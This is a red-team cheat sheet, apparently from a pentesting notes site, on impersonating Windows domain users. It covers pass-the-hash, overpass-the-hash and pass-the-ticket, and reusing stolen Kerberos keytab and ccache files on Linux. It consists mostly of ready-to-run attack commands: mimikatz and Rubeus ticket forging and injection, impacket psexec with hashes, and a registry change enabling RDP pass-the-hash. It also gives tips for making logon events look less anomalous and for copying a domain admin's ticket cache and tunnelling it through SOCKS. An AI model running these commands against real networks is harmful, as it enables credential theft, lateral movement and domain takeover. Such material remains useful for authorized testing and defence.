User Impersonation

1. Pass The Hash

Why crack a password hash when you can authenticate using the hash?

To check that it's correct:

crackmapexec smb {IP or CIDR} -u {User} -H {Hash} --local-auth

Then to get a shell:

pth-winexe -U 'admin%hash' //MACHINE_IP cmd.exe

evil-winrm -i {Domain}.local -u {User} -H "{Hash}"

impacket-psexec {User}:@{IP} -hashes {LMHASH}:{NTHASH}

With mimikatz:

sekurlsa::pth /user:admin /domain:corp1 /ntlm:2892D26CDF84D7A70E2EB3B9F05C425E /run:powershell

mimikatz sekurlsa::pth /user:"jking" /domain:"DEV" /ntlm:59fc0f884922b4ce376051134c71e22c /run:notepad.exe

To connect to RDP with a NTLM hash:

xfreerdp /u:{user} /d:{domain} /pth: {hash} /v:{victim IP}

In some cases to successfully run the command above, we must modify the Restricted Admin Mode value:

reg query "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa"

reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa" /v DisableRestrictedAdmin /t REG_DWORD /d 0 /f

New-ItemProperty -Path "HKLM:\System\CurrentControlSet\Control\Lsa" -Name DisableRestrictedAdmin -Value 0

2. Overpass The Hash/Pass The Key (PTK)

Overpass the hash is a technique which allows us to request a Kerberos TGT for a user, using their NTLM or AES hash. Elevated privileges are required to obtain user hashes, but not to actually request a ticket.

- Without a shell

  • Request the TGT with hash

python getTGT.py <domain_name>/<user_name>-hashes [lm_hash]:<ntlm_hash>

Ex: python getTGT.py jurassic.park/velociraptor -hashes :2a3de7fe356ee524cc9f3d579f2e0aa7

  • Request the TGT with aesKey (more secure encryption, probably more stealth due is the used by default by Microsoft

python getTGT.py <domain_name>/<user_name>-aesKey <aes_key>

getTGT.py -dc-ip 10.10.122.10 -aesKey {aes hash} dev.cyberbotic.io/jking

  • Request the TGT with password

python getTGT.py <domain_name>/<user_name>:[password]

If not provided, password is asked.

Then we can use export KRB5CCNAME={ticket location} and then psexec.

- With a shell

Mimikatz can also perform overpass the hash, but in a way that writes into LSASS. Rubeus' method doesn't touch LSASS but it does generate Kerberos traffic from an anomalous process, as this usually only occurs from LSASS.

Using mimikatz ( Make sure to clear tickets in the current session (with 'kerberos::purge') to ensure you don't have multiple active TGTs):

mimikatz # sekurlsa::pth /user:{username} /domain:{domain} /ntlm:{ntlm hash} /run:PowerShell.exe

Using Rubeus:

execute-assembly C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe asktgt /user:paco /ntlm:59fc0f884922b4ce376051134c71e22c /nowrap

This TGT can then be leveraged via Pass the Ticket.

Using an NTLM hash results in a ticket encrypted using RC4 (0x17). This is considered a legacy encryption type and therefore often stands out as anomalous in a modern Windows environment. The "RC4 TGTs" saved search will show all 4768 events where the ticket encryption type is 0x17.

To obtain a TGT encrypted using AES256 (0x12), use the user's AES256 hash instead.

execute-assembly C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe asktgt /user:paco /aes256:4a8a74daad837ae09e9ecc8c2f1b89f960188cb934db6d4bbebade8318ae57c6 /nowrap

3. Pass The Ticket (PTT)

This kind of attack is similar to Pass the Key, but instead of using hashes to request for a ticket, the ticket itself is stolen and used to authenticate as its owner.

In Pass-the-Ticket attacks, adversaries steal a Kerberos ticket from one computer and re-use it to get access to another computer in a compromised environment.

First, we can leverage a TGT extracted before in the Post-exploitation phase during a credential theft (Privesc and Post-Exploitation/Windows Post-Exploitation/Credential Theft/Rubeus (Extracting Kerberos Tickets)).

After that, the first step is to create a blank, "sacrificial" logon session that we can pass the TGT into. We do this because a logon session can only hold a single TGT at a time (creating a new logon session and passing tickets into sessions other than your own requires elevated privileges):

execute-assembly C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe createnetonly /program:C:\Windows\System32\cmd.exe

By default, Rubeus will use a random username, domain and password with CreateProcessWithLogonW, which will appear in the associated 4624 logon event. We can provide these options on the command line to make the fields appear less anomalous. The password does not have to be the users' actual password.

execute-assembly C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe createnetonly /program:C:\Windows\System32\cmd.exe /domain:dev.cyberbotic.io /username:{current user} /password:FakePass123

The next step is to pass the TGT into this new LUID using the Rubeus ptt command. Where the /luid is the new LUID we just created and /ticket is the base64 encoded ticket we previously extracted.

execute-assembly C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe ptt /luid:0x798c2c /ticket:doIFuj[...snip...]lDLklP

We can also create the logon session and pass the TGT into it with one command:

execute-assembly C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe createnetonly /program:C:\Windows\System32\cmd.exe /domain:dev.cyberbotic.io /username:{current user} /password:FakePass123 /ticket:{ticket}

Rubeus triage will show now the user's TGT we dumped before into that LUID.

The final step is to impersonate the process that we created. We can do this through various different methods, for example, with Cobalt Strike:

steal_token {PID of the target process}

Another option, instead of stealing the token, we can ptt directly adding at the end of the command /ptt.

Then we can see the available kerberos tickets with klist.

In adition,we can use the tgtdeleg function to extract a usable TGT .kirbi file from the current user’s session in low elevation mode:

.\Rubeus.exe tgtdeleg /nowrap

To use a TGT without a shell:

  • Set the TGT for impacket use

exportKRB5CCNAME=<TGT_ccache_file>

  • Execute remote commands with any of the following by using the TGT

python psexec.py <domain_name>/<user_name>@<remote_hostname>-k -no-pass python smbexec.py <domain_name>/<user_name>@<remote_hostname>-k -no-pass python wmiexec.py <domain_name>/<user_name>@<remote_hostname>-k -no-pass

There are types of PtT Attacks with we can gain domain dominance: Silver Tickets, Golden Tickets, Diamond Tickets.

4. Tickets on Linux (Kerberos on Linux)

Linux clients can authenticate to Active Directory servers via Kerberos as a Windows machine would.

- Keytab Files

If we discover the keytab file, we can use it maliciously to gain access to other systems

kinit administrator@CORP1.COM -k -t /tmp/administrator.keytab

Using the klist command, we can verify that the tickets from the keytab have been loaded into our root account’s credential cache file.

klist

Now that our root user has the keytab files loaded, we can authenticate as the domain admin and access any resources they have access to, for example list the target through smbclient.

- Ccache Files

Now, we are going to authenticate by compromising a user’s ccache file:

A user’s ccache file is stored in /tmp with a format like /tmp/krb5cc_. The file is typically only accessible by the owner. Because of this, it’s unlikely that we will be able to steal a user’s ccache file as an unprivileged user.

If we have privileged access and don’t want to log in as the user in question, or we are able to read the user’s files but don’t have direct shell access, we can still copy the victim’s ccache file and load it as our own:

ls -al /tmp/krb5cc_*

Let’s copy the domain administrator’s ccache file and set the ownership of the new file to current user:

sudo cp /tmp/krb5cc_607000500_3aeIA5 /tmp/krb5cc_minenow

sudo chown user:user /tmp/krb5cc_minenow

In order to use the ccache file, we need to set the KRB5CCNAME environment variable.

We’ll clear our old credentials, set the variable and point it to our newly-copied ccache file, then list our available tickets with klist.

kdestroy

klist

export KRB5CCNAME=/tmp/krb5cc_minenow

klist

Based on the output, we now have the administrator user’s TGT in our credential cache and we can request service tickets on their behalf, for example:

kvno MSSQLSvc/DC01.corp1.com:1433

klist

- Using ccache tickets w/ Impacket

We can also use these tickets with impacket, first we identify the IP of the DC and add it to our local /etc/hosts file (we also have to add the IP of the current compromised machine):

host corp1.com

Then we download the ticket to our machine:

base64 -w0 <filename of the ticket>

echo “<base64 string here>” | base65 -d > krb5cc_user

or if we have ssh connection:

scp user@linuxvictim:/tmp/krb5cc_minenow /tmp/krb5cc_minenow

Then export the ticket:

export KRB5CCNAME=/tmp/krb5cc_minenow

After that, install the following necessary tool:

sudo apt install krb5-user

Then we will comment out the line for proxy_dns in /etc/proxychains.conf.

Now we need to set up a SOCKS server, we can do this with chisel, with the used framework (Metasploit, Cobalt Strike, ..) or just with the following ssh command on the server we copied the ccache file from:

ssh user@linuxvictim -D 9050

Now we can use the ticket through impacket and proxychains. Previouslly we identified what we can do with the ticket with klist, so we can use the following commands for each case.

To test it with netexec:

nxc smb {targetIP} --use-kcache

nxc smb {targetIP} --use-kcache - X whoami

To log into the local admin account of a computer:

proxychains impacket-psexec Administrator@DC01.CORP1.COM -k -no-pass

To log into an user account of the domain in a computer:

proxychains impacket-psexec -k -no-pass {domain}/{user}@{computer} -dc-ip {dc ip} -target-ip {target ip}

To log into the DC if the ticket is for krbtgt:

proxychains impacket-psexec -k -no-pass -target-ip {target IP} -dc-ip {DC IP} {dc computer name}

Then we can clean the variable with unset KRB5CCNAME

- Converting kirbi tickets to ccache tickets and use them w/ Impacket

Example, obtain a ticket with Rubeus:

execute-assembly C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe tgtdeleg /nowrap

Then we should base64 decode the ticket:

echo -en 'doIFzj[...snip...]MuSU8=' | base64 -d > ticket.kirbi

Then convert it using ticketConverter.py:

ticketConverter.py ticket.kirbi ticket.ccache

Last updated